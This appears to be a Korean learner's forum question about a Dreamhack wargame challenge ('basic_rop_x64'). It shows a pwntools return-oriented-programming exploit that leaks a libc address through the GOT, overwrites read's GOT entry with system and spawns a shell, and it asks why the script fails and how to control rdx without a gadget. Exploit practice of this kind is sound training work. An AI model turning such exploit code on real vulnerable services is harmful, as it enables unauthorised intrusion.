rop 강좌를 참고하여 똑같이 익스코드를 만들엇는데 오류가 떠요
from pwn import *
def slog(name, addr): return success(": ".join([name, hex(addr)]))
p = remote("host3.dreamhack.games", 20176)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")
read_plt=e.plt["read"]
read_got=e.got["read"]
puts_plt=e.plt["puts"]
pop_rdi=0x0000000000400883
pop_rsi_r15=0x0000000000400881
payload=b"A"*0x48
payload+=p64(pop_rdi)+p64(read_got)
payload+=p64(puts_plt)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)
p.send(payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
slog("read", read)
slog("libc_base", lb)
slog("system", system)
p.send(p64(system)+b"/bin/sh\x00")
p.interactive()
1어떤점이 문제가 있는걸까요?
2 rop 강좌에서 (이 실습에서는 read 함수의 GOT를 읽은 뒤 rdx 값이 매우 크게 설정되므로, rdx를 설정하는 가젯을 추가하지 않아도 됩니다. 좀 더 안정적인(reliable) 익스플로잇을 작성하려면 가젯을 추가해줘도 좋습니다.)<<<라는내용은 어떤상황에서는 rdx를 구해야된다는 것인데 ropgadet으로도 rdx가 나오지 않는대 이를 해결할수있는 방법은 무엇을까요??ㅜㅜ